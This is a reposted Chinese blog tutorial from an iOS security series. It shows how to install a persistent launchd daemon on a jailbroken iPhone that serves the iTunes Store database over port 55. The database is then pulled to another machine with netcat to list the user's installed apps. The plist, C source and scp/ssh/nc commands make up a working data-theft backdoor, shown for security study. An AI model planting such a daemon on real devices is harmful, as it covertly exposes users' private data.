转自:http://blog.csdn.net/yiyaaixuexi/article/details/8293020

开机自启动

iOS安全攻防(一):Hack必备的命令与工具中,介绍了如何编译自己的C程序并手动启动。今天介绍如何使程序变为开机自启动。

1.首先打开Xcode创建一个plist属性文件,如下图所示:

其中要注意一下通信服务名,我定为55。用编辑器打开,即为:

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  3. <plist version="1.0">
  4. <dict>
  5. <key>Program</key>
  6. <string>/usr/bin/ncdemo</string>
  7. <key>StandardErrorPath</key>
  8. <string>/dev/null</string>
  9. <key>SessionCreate</key>
  10. <true/>
  11. <key>ProgramArguments</key>
  12. <array>
  13. <string>/usr/bin/ncdemo</string>
  14. </array>
  15. <key>inetdCompatibility</key>
  16. <dict>
  17. <key>Wait</key>
  18. <false/>
  19. </dict>
  20. <key>Sockets</key>
  21. <dict>
  22. <key>Listeners</key>
  23. <dict>
  24. <key>SockServiceName</key>
  25. <string>55</string>
  26. </dict>
  27. </dict>
  28. </dict>
  29. </plist>

最后,将plist文件 scp 至 root@192.168.1.114:/System/Library/LaunchDaemons/ 下 .

编写读取iTunesstore数据库程序

读取itunesstored2.sqlitedb信息,并输出到stdout中,便于我们读取。

  1. #include <stdio.h>
  2. #include <fcntl.h>
  3. #include <stdlib.h>
  4. #define FILE "/var/mobile/Library/com.apple.itunesstored/itunesstored2.sqlitedb"
  5. int main(){
  6. int fd = open(FILE, O_RDONLY);
  7. char buf[128];
  8. int ret = 0;
  9. if(fd < 0)
  10. return -1;
  11. while (( ret = read(fd, buf, sizeof(buf))) > 0){
  12. write( fileno(stdout), buf, ret);
  13. }
  14. close(fd);
  15. return 0;
  16. }

编译、拷贝、签名

1.编译方法上篇文章已经介绍清楚,这里不再重复,直接¥%¥#%¥……%# 生成运行在ARM的 ncdemo

2.将ncdemo scp 到设备中,并登录

$ scp ncdemo root@192.168.1.114:ncdemo

$ ssh root@192.168.1.114

3.签名

#ldid -S ncdemo

#mv ncdemo /usr/bin

抓取 iTunesstore 数据信息

这时,我们只需要利用netcat,指定之前定义的服务名称,轻松在本地抓取设备 iTunesstore 信息.

$ nc 192.168.1.114 55 > itunesstored2.sqlitedb

分析 iTunesstore 数据信息

好吧,这里就介绍个最简单的应用,利用string命令查看:

$ strings itunesstored2.sqlitedb

于是乎,我们就清晰的得到了iPhone /iPad 设备上都安装了哪些app :

iOS安全攻防(二):后台daemon非法窃取用户iTunesstore信息的更多相关文章

  1. 【阿里聚安全·安全周刊】Python库现后门 可窃取用户SSH信息|Facebook再曝300万用户数据泄露

    本周七个关键词:Python库现后门丨Facebook再曝数据泄露丨加密协议被曝严重漏洞丨英国报摊将出售"色情通行证"丨HTTPS的绿色锁图标丨机器学习和预测应用的API丨Ecli ...

  2. 恶意软件正在利用SSLserver窃取用户个人信息!

    安全套接层协议(SSL)及安全传输层协议(TLS)旨在提供一个安全.加密的client和server之间的连接网络.为进一步进行身份验证和加密,server必须提供证书,从而直接有效地证明其身份. 使 ...

  3. Spring Security教程(二):通过数据库获得用户权限信息

    上一篇博客中,Spring Security教程(一):初识Spring Security,我把用户信息和权限信息放到了xml文件中,这是为了演示如何使用最小的配置就可以使用Spring Securi ...

  4. iOS安全攻防(二十三):Objective-C代码混淆

    iOS安全攻防(二十三):Objective-C代码混淆 class-dump能够非常方便的导出程序头文件,不仅让攻击者了解了程序结构方便逆向,还让着急赶进度时写出的欠完好的程序给同行留下笑柄. 所以 ...

  5. 苹果IOS内购二次验证返回state为21002的坑

    项目是三四年前的老项目,之前有IOS内购二次验证的接口,貌似很久都没用了,然而最近IOS的妹子说接口用不了,让我看看啥问题.接口流程时很简单的,就是前端IOS在购买成功之后,接收到receipt后进行 ...

  6. 微信连WiFi关注公众号流程更新 解决ios微信扫描二维码不关注就能上网的问题

    前几天鼓捣了一下微信连WiFi功能,设置还蛮简单的,但ytkah发现如果是ios版微信扫描微信连WiFi生成的二维码不用关注公众号就可以直接上网了,而安卓版需要关注公众号才能上网,这样就少了很多ios ...

  7. iOS安全攻防

    iOS安全攻防 http://www.docin.com/p-760264769.html

  8. XMPPFrameWork IOS 开发(二)- xcode配置

    原始地址:XMPPFrameWork IOS 开发(二) 译文地址:   Getting started using XMPPFramework on iOS 介绍 ios上的XMPPFramewor ...

  9. ios 中生成二维码和相册中识别二维码

    iOS 使用CIDetector扫描相册二维码.原生扫描 原生扫描 iOS7之后,AVFoundation让我们终于可以使用原生扫描进行扫码了(二维码与条码皆可)AVFoundation可以让我们从设 ...

随机推荐

  1. c++ LeetCode(初级数组篇)十一道算法例题代码详解(一)

    原文作者:aircraft 原文链接:https://www.cnblogs.com/DOMLX/p/10940636.html 唉!最近忙着面试找实习,然后都是面试的很多是leetcode的算法题, ...

  2. jvm虚拟机笔记<四> 虚拟机字节码执行引擎

    一.运行时栈帧结构 栈帧是用于支持虚拟机进行方法调用和执行的数据结构,是虚拟机栈的栈元素. 栈帧存储了局部变量表,操作数栈,动态连接,和返回地址等. 每一个方法的执行 对应的一个栈帧在虚拟机里面从入栈 ...

  3. 执行超大的.sql文件处理,100M++

    sqlcmd的命令参数如下: 1    [-U 登录 ID]             [-P 密码] 2  [-S 服务器]                [-H 主机名]           [-E ...

  4. maven仓库之第一篇

    maven jar仓库 :存放maven项目使用的jar包. 中央仓库,存放99%免费开源项目jar包,apache公司负责维护的,以T为单位的存储. 例如 : struts2-core-2.3.24 ...

  5. SSH框架之Hibernate第二篇

    1.1 持久化类的编写规则 1.1.1 什么是持久化类? 持久化类 : 与表建立了映射关系的实体类,就可以称之为持久化类. 持久化类 = Java类 + 映射文件. 1.1.2 持久化类的编写规则 ( ...

  6. Oracle merge into的优势

    简介 Oracle merge into命令,顾名思义就是“有则更新,无则插入”,这个也是merge into 命令的核心思想,在实际开发过程中,我们会经常遇到这种通过两表互相关联匹配更新其中一个表的 ...

  7. 30-学容器必须懂 bridge 网络

    Docker 安装时会创建一个 命名为 docker0 的 linux bridge.如果不指定--network,创建的容器默认都会挂到 docker0 上. apt-get install bri ...

  8. 前端三剑客之-html

    web服务本质 import socket def main(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind ...

  9. 微信小程序通过getPhoneNumber后台PHP解密获取用户手机号码

    之前做的版本用户这块是以获取用户openid为凭证,最近改版重新整理了一下,新增注册登录以手机号码为主, 两种(正常注册手机号码-密码+一键获取当前用户手机号码) getPhoneNumber这个组件 ...

  10. 初识Kotlin之函数

    本章通过介绍Kotlin的基本函数,默认参数函数,参数不定长函数,尾递归函数,高阶函数,Lamdba表达式.来对Kotlin函数做进一步了解.将上一篇的Kotlin变量的知识得以运用.Kotlin变量 ...